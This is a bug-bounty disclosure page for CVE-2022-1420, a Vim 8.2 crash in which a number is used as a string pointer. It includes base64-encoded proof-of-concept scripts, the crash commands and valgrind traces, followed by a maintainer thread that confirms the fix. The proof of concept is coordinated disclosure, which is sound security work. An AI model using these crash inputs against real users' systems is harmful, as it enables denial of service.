Use of Out-of-range Pointer Offset in vim/vim

Valid Reported on Apr 14th 2022

Description

This issue occur in the version 8.2.4739

Proof of Concept

```
➜  vim git:(master) ✗ echo -n AO8A9C4K/QAKaWZ7e3t7e30tPigzKSg/PWEpezAsMSYI

➜  vim git:(master) ✗ ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1
[1]    38244 segmentation fault (core dumped)  ./src/vim -u NONE -i NONE -r

➜  vim git:(master) ✗ valgrind --leak-check=full ./src/vim -u NONE -i NON
==38282== Memcheck, a memory error detector
==38282== Copyright (C) 2002-2022, and GNU GPL'd, by Julian Seward et al.
==38282== Using Valgrind-3.19.0 and LibVEX; rerun with -h for copyright inf
==38282== Command: ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S POC1 -c :
==38282==
==38282== Invalid read of size 1
==38282==    at 0x4D9E8E: call_func_rettv (eval.c:4038)
==38282==    by 0x4D9256: eval_lambda (eval.c:4122)
==38282==    by 0x4D9256: handle_subscript (eval.c:6237)
==38282==    by 0x4DCE6C: eval7 (eval.c:3891)
==38282==    by 0x4E07C4: eval7t (eval.c:3434)
==38282==    by 0x4DFA72: eval6 (eval.c:3226)
==38282==    by 0x4DEB99: eval5 (eval.c:2989)
==38282==    by 0x4DE46F: eval4 (eval.c:2839)
==38282==    by 0x4DDAF3: eval3 (eval.c:2700)
==38282==    by 0x4C764A: eval2 (eval.c:2574)
==38282==    by 0x4C764A: eval1 (eval.c:2420)
==38282==    by 0x47BC1E: eval_dict (dict.c:955)
==38282==    by 0x4DC75B: eval7 (eval.c:0)
```

```
==38282==    by 0x4E07C4: eval7t (eval.c:3434)
==38282==  Address 0x3 is not stack'd, malloc'd or (recently) free'd
==38282==

==38282==
==38282== Process terminating with default action of signal 11 (SIGSEGV): c
==38282==    at 0x6013177: kill (syscall-template.S:78)
==38282==    by 0x6ECE59: may_core_dump (os_unix.c:3529)
==38282==    by 0x6ECBDA: mch_exit (os_unix.c:3495)
==38282==    by 0xA4E94E: getout (main.c:1718)
==38282==    by 0x66BBA0: preserve_exit (misc1.c:2208)
==38282==    by 0x6F9B4D: deathtrap (os_unix.c:1175)
==38282==    by 0x6012F0F: ??? (in /lib/x86_64-linux-gnu/libc-2.27.so)
==38282==    by 0x4D9E8D: call_func_rettv (eval.c:4038)
==38282==    by 0x4D9256: eval_lambda (eval.c:4122)
==38282==    by 0x4D9256: handle_subscript (eval.c:6237)
==38282==    by 0x4DCE6C: eval7 (eval.c:3891)
==38282==    by 0x4E07C4: eval7t (eval.c:3434)
==38282==    by 0x4DFA72: eval6 (eval.c:3226)
==38282==
==38282== HEAP SUMMARY:
==38282==     in use at exit: 2,207,175 bytes in 563 blocks
==38282==   total heap usage: 1,236 allocs, 673 frees, 2,325,517 bytes allc
==38282==
==38282== 29 bytes in 1 blocks are definitely lost in loss record 61 of 161
==38282==    at 0x4C33045: malloc (vg_replace_malloc.c:381)
==38282==    by 0x406CD9: lalloc (alloc.c:246)
==38282==    by 0x406C4B: alloc (alloc.c:151)
==38282==    by 0x88C641: vim_strsave (strings.c:27)
==38282==    by 0xA57F9B: msg_source (message.c:554)
==38282==    by 0xA59057: emsg_core (message.c:763)
==38282==    by 0xA586E5: emsg (message.c:785)
==38282==    by 0x534338: do_one_cmd (ex_docmd.c:2620)
==38282==    by 0x534338: do_cmdline (ex_docmd.c:992)
==38282==    by 0x81CABD: do_source_ext (scriptfile.c:1665)
==38282==    by 0x81B386: do_source (scriptfile.c:1791)
==38282==    by 0x81B386: cmd_source (scriptfile.c:1165)
==38282==    by 0x81B08E: ex_source (scriptfile.c:1191)
==38282==    by 0x53856F: do_one_cmd (ex_docmd.c:2567)
==38282==    by 0x53856F: do_cmdline (ex_docmd.c:992)
==38282==
```

```
==38282== 1,232 bytes in 1 blocks are definitely lost in loss record 139 of
==38282==    at 0x4C33045: malloc (vg_replace_malloc.c:381)
==38282==    by 0x406CD9: lalloc (alloc.c:246)

==38282==    by 0x406C4B: alloc (alloc.c:151)
==38282==    by 0xA516F4: mf_open (memfile.c:129)
==38282==    by 0x6459F4: ml_open (memline.c:309)
==38282==    by 0x41BECA: open_buffer (buffer.c:186)
==38282==    by 0xA4CE92: create_windows (main.c:2858)
==38282==    by 0xA4CE92: vim_main2 (main.c:703)
==38282==    by 0xA4B533: main (main.c:424)
==38282==
==38282== LEAK SUMMARY:
==38282==    definitely lost: 1,261 bytes in 2 blocks
==38282==    indirectly lost: 0 bytes in 0 blocks
==38282==      possibly lost: 0 bytes in 0 blocks
==38282==    still reachable: 2,205,914 bytes in 561 blocks
==38282==         suppressed: 0 bytes in 0 blocks
==38282== Reachable blocks (those to which a pointer was found) are not sho
==38282== To see them, rerun with: --leak-check=full --show-leak-kinds=all
==38282==
==38282== For lists of detected and suppressed errors, rerun with: -s
==38282== ERROR SUMMARY: 3 errors from 3 contexts (suppressed: 0 from 0)
[1]    38282 segmentation fault  valgrind --leak-check=full ./src/vim -u NO
```

Impact

crashed

CVE
CVE-2022-1420
(Published)

Vulnerability Type
CWE-823: Use of Out-of-range Pointer Offset

Severity
Medium (6.8)

Registry

Other

Affected Version
8.2.4739

Visibility
Public

Status
Fixed

Found by

salmonstriver
@salmonx
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 1,357 times.

We are processing your report and will contact the **vim** team within 24 hours. 7 months ago

salmonstriver modified the report 7 months ago

salmonstriver modified the report 7 months ago

salmonstriver modified the report 7 months ago

We have contacted a member of the **vim** team and are waiting to hear back 7 months ago

Bram Moolenaar 7 months ago — Maintainer

This POC looks like random stuff. Have you tried minimizing it, leaving out everything that doesn't matter for reproducing the problem?

salmonstriver 7 months ago — Researcher

@Bram Moolenaar
After minimizing POC to poc2, the issuce can reproduce in the latest version 8.2.4768 at now.

echo -n aWYwLT4oMyko | base64 -d > poc2

➜ vim-8.2.4768 ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc2 -c :qa!
[1] 39402 segmentation fault ./src/vim -u NONE -i NONE -n -X -Z -e -m -s -S poc2 -c :qa!

Bram Moolenaar 7 months ago Maintainer

Thanks, now it's much easier to figure out what is wrong. With valgrind I get "Invalid read of size 1", you might want to adjust the title.

Bram Moolenaar validated this vulnerability 7 months ago

Using a number where a string was expected, leading to invalid memory access and a crash.

salmonstriver has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar marked this as fixed in 8.2 with commit 8b91e7 7 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

salmonstriver 7 months ago Researcher

Thanks.
The fix 8b91e7 has been verified as valid.

@admin
This disclosure is like https://huntr.dev/bounties/f3f3d992-7bd6-4ee5-a502-ae0e5f8016ea/
Can you help change the Vulnerability Type and Title to "Use of Out-of-range Pointer Offset" ?

Jamie Slome 7 months ago Admin

@salmonstriver - sure, we can adjust this, but we do require the go-ahead from the Maintainer, as they have already validated and fixed the report.

@bram - are you happy to make the changes suggested?

Bram Moolenaar 7 months ago Maintainer

Yes, what the issue did was take the number argument and use it as a string pointer. Thus the script could try to access any memory location as a string, which might be called out-of-range pointer offset.

Jamie Slome 7 months ago Admin

Furthermore, the researcher has requested a CVE for this report.

Are you happy for us to assign and publish one? (@bram)

Bram Moolenaar 7 months ago Maintainer

Sure, if that makes someone happy. As with most of these problems, an attacker will have to trick a user into executing a script, and that script can do anything even when there are no bugs, thus it hardly reduces security.

Jamie Slome 7 months ago Admin

✅ CWE updated to CWE-823
✅ CVE-2022-1420 assigned and published

Thanks for the contribution and effort @bram and @salmonx 👍

Sign in to join this conversation